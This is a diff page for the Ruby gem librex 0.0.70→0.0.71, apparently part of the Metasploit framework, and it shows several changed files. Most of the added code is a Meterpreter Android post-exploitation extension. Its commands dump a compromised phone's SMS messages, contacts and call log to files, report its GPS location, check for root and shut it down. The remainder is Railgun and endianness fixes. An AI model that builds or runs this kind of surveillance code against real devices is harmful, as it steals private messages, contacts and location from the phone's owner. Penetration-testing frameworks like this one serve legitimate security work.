librex 0.0.70 → 0.0.71

Sign up to get free protection for your applications and to get access to all the features.
Files changed (59) hide show
  1. checksums.yaml +5 -13
  2. data/README.markdown +5 -10
  3. data/Rakefile +1 -1
  4. data/lib/rex/arch.rb +1 -1
  5. data/lib/rex/encoder/bloxor/bloxor.rb +1 -0
  6. data/lib/rex/encoder/ndr.rb +1 -1
  7. data/lib/rex/exploitation/heaplib.rb +4 -2
  8. data/lib/rex/exploitation/powershell.rb +62 -0
  9. data/lib/rex/exploitation/powershell/function.rb +63 -0
  10. data/lib/rex/exploitation/powershell/obfu.rb +98 -0
  11. data/lib/rex/exploitation/powershell/output.rb +151 -0
  12. data/lib/rex/exploitation/powershell/param.rb +23 -0
  13. data/lib/rex/exploitation/powershell/parser.rb +183 -0
  14. data/lib/rex/exploitation/powershell/psh_methods.rb +70 -0
  15. data/lib/rex/exploitation/powershell/script.rb +99 -0
  16. data/lib/rex/exploitation/ropdb.rb +1 -0
  17. data/lib/rex/mac_oui.rb +1 -0
  18. data/lib/rex/ole/util.rb +2 -2
  19. data/lib/rex/parser/group_policy_preferences.rb +185 -0
  20. data/lib/rex/parser/outpost24_nokogiri.rb +1 -0
  21. data/lib/rex/poly/machine.rb +1 -0
  22. data/lib/rex/poly/machine/machine.rb +1 -0
  23. data/lib/rex/poly/machine/x86.rb +1 -0
  24. data/lib/rex/post/meterpreter/extensions/android/android.rb +128 -0
  25. data/lib/rex/post/meterpreter/extensions/android/tlv.rb +40 -0
  26. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_psapi.rb +32 -0
  27. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +6 -6
  28. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +4 -4
  29. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +2 -1
  30. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb +4 -4
  31. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb +4 -4
  32. data/lib/rex/post/meterpreter/packet.rb +3 -3
  33. data/lib/rex/post/meterpreter/ui/console.rb +2 -0
  34. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +383 -0
  35. data/lib/rex/proto/dcerpc/ndr.rb +1 -1
  36. data/lib/rex/proto/ipmi/channel_auth_reply.rb +1 -0
  37. data/lib/rex/proto/ipmi/open_session_reply.rb +1 -0
  38. data/lib/rex/proto/ipmi/rakp2.rb +1 -0
  39. data/lib/rex/proto/natpmp/packet.rb +8 -8
  40. data/lib/rex/proto/ntp.rb +3 -0
  41. data/lib/rex/proto/ntp/constants.rb +12 -0
  42. data/lib/rex/proto/ntp/modes.rb +130 -0
  43. data/lib/rex/proto/pjl.rb +1 -0
  44. data/lib/rex/proto/pjl/client.rb +1 -0
  45. data/lib/rex/proto/sip.rb +4 -0
  46. data/lib/rex/proto/sip/response.rb +61 -0
  47. data/lib/rex/proto/smb/exceptions.rb +11 -3
  48. data/lib/rex/random_identifier_generator.rb +1 -0
  49. data/lib/rex/registry/lfkey.rb +1 -1
  50. data/lib/rex/registry/nodekey.rb +10 -10
  51. data/lib/rex/registry/valuekey.rb +5 -5
  52. data/lib/rex/registry/valuelist.rb +1 -1
  53. data/lib/rex/socket/ip.rb +1 -0
  54. data/lib/rex/sslscan/result.rb +1 -0
  55. data/lib/rex/sslscan/scanner.rb +1 -0
  56. data/lib/rex/text.rb +2 -13
  57. data/lib/rex/ui/text/output/buffer/stdout.rb +1 -0
  58. data/lib/rex/ui/text/table.rb +4 -4
  59. metadata +23 -4
@@ -1,3 +1,4 @@
1
+ # -*- coding: binary -*-
1
2
  require "rex/parser/nokogiri_doc_mixin"
2
3
 
3
4
  module Rex
@@ -1,3 +1,4 @@
1
+ # -*- coding: binary -*-
1
2
 
2
3
  module Rex
3
4
 
@@ -1,3 +1,4 @@
1
+ # -*- coding: binary -*-
1
2
 
2
3
  module Rex
3
4
 
@@ -1,3 +1,4 @@
1
+ # -*- coding: binary -*-
1
2
 
2
3
  module Rex
3
4
 
@@ -0,0 +1,128 @@
1
+ #!/usr/bin/env ruby
2
+ # -*- coding: binary -*-
3
+ require 'rex/post/meterpreter/extensions/android/tlv'
4
+ require 'rex/post/meterpreter/packet'
5
+ require 'rex/post/meterpreter/client'
6
+ require 'rex/post/meterpreter/channels/pools/stream_pool'
7
+
8
+
9
+ module Rex
10
+ module Post
11
+ module Meterpreter
12
+ module Extensions
13
+ module Android
14
+
15
+ ###
16
+ # Android extension - set of commands to be executed on android devices.
17
+ # extension by Anwar Mohamed (@anwarelmakrahy)
18
+ ###
19
+
20
+
21
+ class Android < Extension
22
+
23
+ def initialize(client)
24
+ super(client, 'android')
25
+
26
+ # Alias the following things on the client object so that they
27
+ # can be directly referenced
28
+ client.register_extension_aliases(
29
+ [
30
+ {
31
+ 'name' => 'android',
32
+ 'ext' => self
33
+ },
34
+ ])
35
+ end
36
+
37
+ def device_shutdown(n)
38
+ request = Packet.create_request('device_shutdown')
39
+ request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
40
+ response = client.send_request(request)
41
+ return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
42
+ end
43
+
44
+ def dump_sms
45
+ sms = Array.new
46
+ request = Packet.create_request('dump_sms')
47
+ response = client.send_request(request)
48
+
49
+ response.each( TLV_TYPE_SMS_GROUP ) { |p|
50
+
51
+ sms <<
52
+ {
53
+ 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
54
+ 'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
55
+ 'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
56
+ 'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
57
+ 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
58
+ }
59
+
60
+ }
61
+ return sms
62
+ end
63
+
64
+ def dump_contacts
65
+ contacts = Array.new
66
+ request = Packet.create_request('dump_contacts')
67
+ response = client.send_request(request)
68
+
69
+ response.each( TLV_TYPE_CONTACT_GROUP ) { |p|
70
+
71
+ contacts <<
72
+ {
73
+ 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
74
+ 'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
75
+ 'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
76
+ }
77
+
78
+ }
79
+ return contacts
80
+ end
81
+
82
+ def geolocate
83
+
84
+ loc = Array.new
85
+ request = Packet.create_request('geolocate')
86
+ response = client.send_request(request)
87
+
88
+ loc <<
89
+ {
90
+ 'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
91
+ 'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
92
+ }
93
+
94
+ return loc
95
+ end
96
+
97
+ def dump_calllog
98
+ log = Array.new
99
+ request = Packet.create_request('dump_calllog')
100
+ response = client.send_request(request)
101
+
102
+ response.each(TLV_TYPE_CALLLOG_GROUP) { |p|
103
+
104
+ log <<
105
+ {
106
+ 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
107
+ 'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
108
+ 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
109
+ 'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
110
+ 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
111
+ }
112
+
113
+ }
114
+ return log
115
+ end
116
+
117
+ def check_root
118
+ request = Packet.create_request('check_root')
119
+ response = client.send_request(request)
120
+ response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
121
+ end
122
+ end
123
+
124
+ end
125
+ end
126
+ end
127
+ end
128
+ end
@@ -0,0 +1,40 @@
1
+ #!/usr/bin/env ruby
2
+ # -*- coding: binary -*-
3
+
4
+ module Rex
5
+ module Post
6
+ module Meterpreter
7
+ module Extensions
8
+ module Android
9
+
10
+ TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001)
11
+ TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002)
12
+ TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003)
13
+ TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004)
14
+ TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005)
15
+ TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006)
16
+
17
+ TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007)
18
+ TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008)
19
+ TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009)
20
+ TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010)
21
+
22
+ TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011)
23
+ TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012)
24
+
25
+ TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013)
26
+ TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014)
27
+ TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015)
28
+ TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016)
29
+ TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017)
30
+ TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018)
31
+
32
+ TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019)
33
+
34
+ TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020)
35
+
36
+ end
37
+ end
38
+ end
39
+ end
40
+ end
@@ -0,0 +1,32 @@
1
+ # -*- coding: binary -*-
2
+ module Rex
3
+ module Post
4
+ module Meterpreter
5
+ module Extensions
6
+ module Stdapi
7
+ module Railgun
8
+ module Def
9
+
10
+ class Def_psapi
11
+
12
+ def self.create_dll(dll_path = 'psapi')
13
+ dll = DLL.new(dll_path, ApiConstants.manager)
14
+
15
+ dll.add_function('EnumDeviceDrivers', 'BOOL',[
16
+ %w(PBLOB lpImageBase out),
17
+ %w(DWORD cb in),
18
+ %w(PDWORD lpcbNeeded out)
19
+ ])
20
+
21
+ dll.add_function('GetDeviceDriverBaseNameA', 'DWORD', [
22
+ %w(LPVOID ImageBase in),
23
+ %w(PBLOB lpBaseName out),
24
+ %w(DWORD nSize in)
25
+ ])
26
+
27
+ return dll
28
+ end
29
+
30
+ end
31
+
32
+ end; end; end; end; end; end; end
@@ -120,7 +120,7 @@ class DLL
120
120
  raise "#{function.params.length} arguments expected. #{args.length} arguments provided." unless args.length == function.params.length
121
121
 
122
122
  if( client.platform =~ /x64/i )
123
- native = 'Q'
123
+ native = 'Q<'
124
124
  else
125
125
  native = 'V'
126
126
  end
@@ -153,12 +153,12 @@ class DLL
153
153
  buffer_size = args[param_idx]
154
154
  if param_desc[0] == "PDWORD"
155
155
  # bump up the size for an x64 pointer
156
- if( native == 'Q' and buffer_size == 4 )
156
+ if( native == 'Q<' and buffer_size == 4 )
157
157
  args[param_idx] = 8
158
158
  buffer_size = args[param_idx]
159
159
  end
160
160
 
161
- if( native == 'Q' )
161
+ if( native == 'Q<' )
162
162
  raise "Please pass 8 for 'out' PDWORDS, since they require a buffer of size 8" unless buffer_size == 8
163
163
  elsif( native == 'V' )
164
164
  raise "Please pass 4 for 'out' PDWORDS, since they require a buffer of size 4" unless buffer_size == 4
@@ -288,7 +288,7 @@ class DLL
288
288
  #process return value
289
289
  case function.return_type
290
290
  when "LPVOID", "HANDLE"
291
- if( native == 'Q' )
291
+ if( native == 'Q<' )
292
292
  return_hash["return"] = rec_return_value
293
293
  else
294
294
  return_hash["return"] = rec_return_value % 4294967296
@@ -318,7 +318,7 @@ class DLL
318
318
  buffer = rec_out_only_buffers[buffer_item.addr, buffer_item.length_in_bytes]
319
319
  case buffer_item.datatype
320
320
  when "PDWORD"
321
- return_hash[param_name] = buffer.unpack('V')[0]
321
+ return_hash[param_name] = buffer.unpack(native)[0]
322
322
  when "PCHAR"
323
323
  return_hash[param_name] = asciiz_to_str(buffer)
324
324
  when "PWCHAR"
@@ -338,7 +338,7 @@ class DLL
338
338
  buffer = rec_inout_buffers[buffer_item.addr, buffer_item.length_in_bytes]
339
339
  case buffer_item.datatype
340
340
  when "PDWORD"
341
- return_hash[param_name] = buffer.unpack('V')[0]
341
+ return_hash[param_name] = buffer.unpack(native)[0]
342
342
  when "PCHAR"
343
343
  return_hash[param_name] = asciiz_to_str(buffer)
344
344
  when "PWCHAR"
@@ -50,7 +50,7 @@ class MultiCaller
50
50
  @win_consts = win_consts
51
51
 
52
52
  if( @client.platform =~ /x64/i )
53
- @native = 'Q'
53
+ @native = 'Q<'
54
54
  else
55
55
  @native = 'V'
56
56
  end
@@ -102,12 +102,12 @@ class MultiCaller
102
102
  raise "error in param #{param_desc[1]}: Out-only buffers must be described by a number indicating their size in bytes " unless args[param_idx].class == Fixnum
103
103
  buffer_size = args[param_idx]
104
104
  # bump up the size for an x64 pointer
105
- if( @native == 'Q' and buffer_size == 4 )
105
+ if( @native == 'Q<' and buffer_size == 4 )
106
106
  args[param_idx] = 8
107
107
  buffer_size = args[param_idx]
108
108
  end
109
109
 
110
- if( @native == 'Q' )
110
+ if( @native == 'Q<' )
111
111
  raise "Please pass 8 for 'out' PDWORDS, since they require a buffer of size 8" unless buffer_size == 8
112
112
  elsif( @native == 'V' )
113
113
  raise "Please pass 4 for 'out' PDWORDS, since they require a buffer of size 4" unless buffer_size == 4
@@ -242,7 +242,7 @@ class MultiCaller
242
242
  #process return value
243
243
  case function.return_type
244
244
  when "LPVOID", "HANDLE"
245
- if( @native == 'Q' )
245
+ if( @native == 'Q<' )
246
246
  return_hash["return"] = rec_return_value
247
247
  else
248
248
  return_hash["return"] = rec_return_value % 4294967296
@@ -78,7 +78,8 @@ class Railgun
78
78
  'crypt32',
79
79
  'wlanapi',
80
80
  'wldap32',
81
- 'version'
81
+ 'version',
82
+ 'psapi'
82
83
  ].freeze
83
84
 
84
85
  ##
@@ -27,8 +27,8 @@ module PointerUtil
27
27
 
28
28
  case platform
29
29
  when PlatformUtil::X86_64
30
- # XXX: Only works if attacker and victim are like-endianed
31
- [pointer].pack('Q')
30
+ # Assume little endian
31
+ [pointer].pack('Q<')
32
32
  when PlatformUtil::X86_32
33
33
  [pointer].pack('V')
34
34
  else
@@ -40,8 +40,8 @@ module PointerUtil
40
40
  def self.unpack_pointer(packed_pointer, platform)
41
41
  case platform
42
42
  when PlatformUtil::X86_64
43
- # XXX: Only works if attacker and victim are like-endianed
44
- packed_pointer.unpack('Q').first
43
+ # Assume little endian
44
+ packed_pointer.unpack('Q<').first
45
45
  when PlatformUtil::X86_32
46
46
  packed_pointer.unpack('V').first
47
47
  else
@@ -324,8 +324,8 @@ class Util
324
324
  #
325
325
  def unpack_pointer(packed_pointer)
326
326
  if is_64bit
327
- # XXX: Only works if attacker and victim are like-endianed
328
- packed_pointer.unpack('Q')[0]
327
+ # Assume little endian
328
+ packed_pointer.unpack('Q<')[0]
329
329
  else
330
330
  packed_pointer.unpack('V')[0]
331
331
  end
@@ -452,9 +452,9 @@ class Util
452
452
  # Both on x86 and x64, DWORD is 32 bits
453
453
  return raw.unpack('V').first
454
454
  when :BOOL
455
- return raw.unpack('l').first == 1
455
+ return raw.unpack('V').first == 1
456
456
  when :LONG
457
- return raw.unpack('l').first
457
+ return raw.unpack('V').first
458
458
  end
459
459
 
460
460
  #If nothing worked thus far, return it raw
@@ -251,7 +251,7 @@ class Tlv
251
251
  elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)
252
252
  raw = [value].pack("N")
253
253
  elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD)
254
- raw = [ self.htonq( value.to_i ) ].pack("Q")
254
+ raw = [ self.htonq( value.to_i ) ].pack("Q<")
255
255
  elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)
256
256
  if (value == true)
257
257
  raw = [1].pack("c")
@@ -312,7 +312,7 @@ class Tlv
312
312
  elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)
313
313
  self.value = raw.unpack("NNN")[2]
314
314
  elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD)
315
- self.value = raw.unpack("NNQ")[2]
315
+ self.value = raw.unpack("NNQ<")[2]
316
316
  self.value = self.ntohq( self.value )
317
317
  elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)
318
318
  self.value = raw.unpack("NNc")[2]
@@ -335,7 +335,7 @@ class Tlv
335
335
  if( [1].pack( 's' ) == [1].pack( 'n' ) )
336
336
  return value
337
337
  end
338
- return [ value ].pack( 'Q' ).reverse.unpack( 'Q' ).first
338
+ return [ value ].pack( 'Q<' ).reverse.unpack( 'Q<' ).first
339
339
  end
340
340
 
341
341
  def ntohq( value )
@@ -106,6 +106,8 @@ class Console
106
106
  log_error("Operation timed out.")
107
107
  rescue RequestError => info
108
108
  log_error(info.to_s)
109
+ rescue Rex::AddressInUse => e
110
+ log_error(e.message)
109
111
  rescue ::Errno::EPIPE, ::OpenSSL::SSL::SSLError, ::IOError
110
112
  self.client.kill
111
113
  rescue ::Exception => e
@@ -0,0 +1,383 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/post/meterpreter'
3
+ require 'msf/core/auxiliary/report'
4
+
5
+ module Rex
6
+ module Post
7
+ module Meterpreter
8
+ module Ui
9
+
10
+ ###
11
+ # Android extension - set of commands to be executed on android devices.
12
+ # extension by Anwar Mohamed (@anwarelmakrahy)
13
+ ###
14
+
15
+ class Console::CommandDispatcher::Android
16
+ include Console::CommandDispatcher
17
+ include Msf::Auxiliary::Report
18
+
19
+ #
20
+ # List of supported commands.
21
+ #
22
+ def commands
23
+ all = {
24
+ 'dump_sms' => 'Get sms messages',
25
+ 'dump_contacts' => 'Get contacts list',
26
+ 'geolocate' => 'Get current lat-long using geolocation',
27
+ 'dump_calllog' => 'Get call log',
28
+ 'check_root' => 'Check if device is rooted',
29
+ 'device_shutdown' => 'Shutdown device'
30
+ }
31
+
32
+ reqs = {
33
+ 'dump_sms' => [ 'dump_sms' ],
34
+ 'dump_contacts' => [ 'dump_contacts' ],
35
+ 'geolocate' => [ 'geolocate' ],
36
+ 'dump_calllog' => [ 'dump_calllog' ],
37
+ 'check_root' => [ 'check_root' ],
38
+ 'device_shutdown' => [ 'device_shutdown']
39
+ }
40
+
41
+ # Ensure any requirements of the command are met
42
+ all.delete_if do |cmd, desc|
43
+ reqs[cmd].any? { |req| not client.commands.include?(req) }
44
+ end
45
+ end
46
+
47
+ def cmd_device_shutdown(*args)
48
+
49
+ seconds = 0
50
+ device_shutdown_opts = Rex::Parser::Arguments.new(
51
+ '-h' => [ false, 'Help Banner' ],
52
+ '-t' => [ false, 'Shutdown after n seconds']
53
+ )
54
+
55
+ device_shutdown_opts.parse(args) { | opt, idx, val |
56
+ case opt
57
+ when '-h'
58
+ print_line('Usage: device_shutdown [options]')
59
+ print_line('Shutdown device.')
60
+ print_line(device_shutdown_opts.usage)
61
+ return
62
+ when '-t'
63
+ seconds = val.to_i
64
+ end
65
+ }
66
+
67
+ res = client.android.device_shutdown(seconds)
68
+
69
+ if res
70
+ print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}")
71
+ else
72
+ print_error('Device shutdown failed')
73
+ end
74
+ end
75
+
76
+ def cmd_dump_sms(*args)
77
+
78
+ path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
79
+ dump_sms_opts = Rex::Parser::Arguments.new(
80
+ '-h' => [ false, 'Help Banner' ],
81
+ '-o' => [ false, 'Output path for sms list']
82
+ )
83
+
84
+ dump_sms_opts.parse(args) { | opt, idx, val |
85
+ case opt
86
+ when '-h'
87
+ print_line('Usage: dump_sms [options]')
88
+ print_line('Get sms messages.')
89
+ print_line(dump_sms_opts.usage)
90
+ return
91
+ when '-o'
92
+ path = val
93
+ end
94
+ }
95
+
96
+ smsList = []
97
+ smsList = client.android.dump_sms
98
+
99
+ if smsList.count > 0
100
+ print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}")
101
+ begin
102
+ info = client.sys.config.sysinfo
103
+
104
+ data = ""
105
+ data << "\n=====================\n"
106
+ data << "[+] Sms messages dump\n"
107
+ data << "=====================\n\n"
108
+
109
+ time = Time.new
110
+ data << "Date: #{time.inspect}\n"
111
+ data << "OS: #{info['OS']}\n"
112
+ data << "Remote IP: #{client.sock.peerhost}\n"
113
+ data << "Remote Port: #{client.sock.peerport}\n\n"
114
+
115
+ smsList.each_with_index { |a, index|
116
+
117
+ data << "##{index.to_i + 1}\n"
118
+
119
+ type = 'Unknown'
120
+ if a['type'] == '1'
121
+ type = 'Incoming'
122
+ elsif a['type'] == '2'
123
+ type = 'Outgoing'
124
+ end
125
+
126
+ status = 'Unknown'
127
+ if a['status'] == '-1'
128
+ status = 'NOT_RECEIVED'
129
+ elsif a['status'] == '1'
130
+ status = 'SME_UNABLE_TO_CONFIRM'
131
+ elsif a['status'] == '0'
132
+ status = 'SUCCESS'
133
+ elsif a['status'] == '64'
134
+ status = 'MASK_PERMANENT_ERROR'
135
+ elsif a['status'] == '32'
136
+ status = 'MASK_TEMPORARY_ERROR'
137
+ elsif a['status'] == '2'
138
+ status = 'SMS_REPLACED_BY_SC'
139
+ end
140
+
141
+ data << "Type\t: #{type}\n"
142
+
143
+ time = a['date'].to_i / 1000
144
+ time = Time.at(time)
145
+
146
+ data << "Date\t: #{time.strftime('%Y-%m-%d %H:%M:%S')}\n"
147
+ data << "Address\t: #{a['address']}\n"
148
+ data << "Status\t: #{status}\n"
149
+ data << "Message\t: #{a['body']}\n\n"
150
+ }
151
+
152
+ ::File.write(path, data)
153
+ print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}")
154
+
155
+ return true
156
+ rescue
157
+ print_error("Error getting messages: #{$!}")
158
+ return false
159
+ end
160
+ else
161
+ print_status('No sms messages were found!')
162
+ return false
163
+ end
164
+ end
165
+
166
+
167
+ def cmd_dump_contacts(*args)
168
+
169
+ path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
170
+ dump_contacts_opts = Rex::Parser::Arguments.new(
171
+
172
+ '-h' => [ false, 'Help Banner' ],
173
+ '-o' => [ false, 'Output path for contacts list']
174
+
175
+ )
176
+
177
+ dump_contacts_opts.parse(args) { | opt, idx, val |
178
+ case opt
179
+ when '-h'
180
+ print_line('Usage: dump_contacts [options]')
181
+ print_line('Get contacts list.')
182
+ print_line(dump_contacts_opts.usage)
183
+ return
184
+ when '-o'
185
+ path = val
186
+ end
187
+ }
188
+
189
+ contactList = []
190
+ contactList = client.android.dump_contacts
191
+
192
+ if contactList.count > 0
193
+ print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list")
194
+ begin
195
+ info = client.sys.config.sysinfo
196
+
197
+ data = ""
198
+ data << "\n======================\n"
199
+ data << "[+] Contacts list dump\n"
200
+ data << "======================\n\n"
201
+
202
+ time = Time.new
203
+ data << "Date: #{time.inspect}\n"
204
+ data << "OS: #{info['OS']}\n"
205
+ data << "Remote IP: #{client.sock.peerhost}\n"
206
+ data << "Remote Port: #{client.sock.peerport}\n\n"
207
+
208
+ contactList.each_with_index { |c, index|
209
+
210
+ data << "##{index.to_i + 1}\n"
211
+ data << "Name\t: #{c['name']}\n"
212
+
213
+ if c['number'].count > 0
214
+ (c['number']).each { |n|
215
+ data << "Number\t: #{n}\n"
216
+ }
217
+ end
218
+
219
+ if c['email'].count > 0
220
+ (c['email']).each { |n|
221
+ data << "Email\t: #{n}\n"
222
+ }
223
+ end
224
+
225
+ data << "\n"
226
+ }
227
+
228
+ ::File.write(path, data)
229
+ print_status("Contacts list saved to: #{path}")
230
+
231
+ return true
232
+ rescue
233
+ print_error("Error getting contacts list: #{$!}")
234
+ return false
235
+ end
236
+ else
237
+ print_status('No contacts were found!')
238
+ return false
239
+ end
240
+ end
241
+
242
+ def cmd_geolocate(*args)
243
+
244
+ generate_map = false
245
+ geolocate_opts = Rex::Parser::Arguments.new(
246
+
247
+ '-h' => [ false, 'Help Banner' ],
248
+ '-g' => [ false, 'Generate map using google-maps']
249
+
250
+ )
251
+
252
+ geolocate_opts.parse(args) { | opt, idx, val |
253
+ case opt
254
+ when '-h'
255
+ print_line('Usage: geolocate [options]')
256
+ print_line('Get current location using geolocation.')
257
+ print_line(geolocate_opts.usage)
258
+ return
259
+ when '-g'
260
+ generate_map = true
261
+ end
262
+ }
263
+
264
+ geo = client.android.geolocate
265
+
266
+ print_status('Current Location:')
267
+ print_line("\tLatitude: #{geo[0]['lat']}")
268
+ print_line("\tLongitude: #{geo[0]['long']}\n")
269
+ print_line("To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}&sensor=true\n")
270
+
271
+ if generate_map
272
+ link = "https://maps.google.com/maps?q=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}"
273
+ print_status("Generated map on google-maps:")
274
+ print_status(link)
275
+ Rex::Compat.open_browser(link)
276
+ end
277
+
278
+ end
279
+
280
+ def cmd_dump_calllog(*args)
281
+
282
+ path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
283
+ dump_calllog_opts = Rex::Parser::Arguments.new(
284
+
285
+ '-h' => [ false, 'Help Banner' ],
286
+ '-o' => [ false, 'Output path for call log']
287
+
288
+ )
289
+
290
+ dump_calllog_opts.parse(args) { | opt, idx, val |
291
+ case opt
292
+ when '-h'
293
+ print_line('Usage: dump_calllog [options]')
294
+ print_line('Get call log.')
295
+ print_line(dump_calllog_opts.usage)
296
+ return
297
+ when '-o'
298
+ path = val
299
+ end
300
+ }
301
+
302
+ log = client.android.dump_calllog
303
+
304
+ if log.count > 0
305
+ print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}")
306
+ begin
307
+ info = client.sys.config.sysinfo
308
+
309
+ data = ""
310
+ data << "\n=================\n"
311
+ data << "[+] Call log dump\n"
312
+ data << "=================\n\n"
313
+
314
+ time = Time.new
315
+ data << "Date: #{time.inspect}\n"
316
+ data << "OS: #{info['OS']}\n"
317
+ data << "Remote IP: #{client.sock.peerhost}\n"
318
+ data << "Remote Port: #{client.sock.peerport}\n\n"
319
+
320
+ log.each_with_index { |a, index|
321
+
322
+ data << "##{index.to_i + 1}\n"
323
+
324
+ data << "Number\t: #{a['number']}\n"
325
+ data << "Name\t: #{a['name']}\n"
326
+ data << "Date\t: #{a['date']}\n"
327
+ data << "Type\t: #{a['type']}\n"
328
+ data << "Duration: #{a['duration']}\n\n"
329
+ }
330
+
331
+ ::File.write(path, data)
332
+ print_status("Call log saved to #{path}")
333
+
334
+ return true
335
+ rescue
336
+ print_error("Error getting call log: #{$!}")
337
+ return false
338
+ end
339
+ else
340
+ print_status('No call log entries were found!')
341
+ return false
342
+ end
343
+ end
344
+
345
+
346
+ def cmd_check_root(*args)
347
+
348
+ check_root_opts = Rex::Parser::Arguments.new(
349
+ '-h' => [ false, 'Help Banner' ]
350
+ )
351
+
352
+ check_root_opts.parse(args) { | opt, idx, val |
353
+ case opt
354
+ when '-h'
355
+ print_line('Usage: check_root [options]')
356
+ print_line('Check if device is rooted.')
357
+ print_line(check_root_opts.usage)
358
+ return
359
+ end
360
+ }
361
+
362
+ is_rooted = client.android.check_root
363
+
364
+ if is_rooted
365
+ print_good('Device is rooted')
366
+ elsif
367
+ print_status('Device is not rooted')
368
+ end
369
+ end
370
+
371
+ #
372
+ # Name for this dispatcher
373
+ #
374
+ def name
375
+ 'Android'
376
+ end
377
+
378
+ end
379
+
380
+ end
381
+ end
382
+ end
383
+ end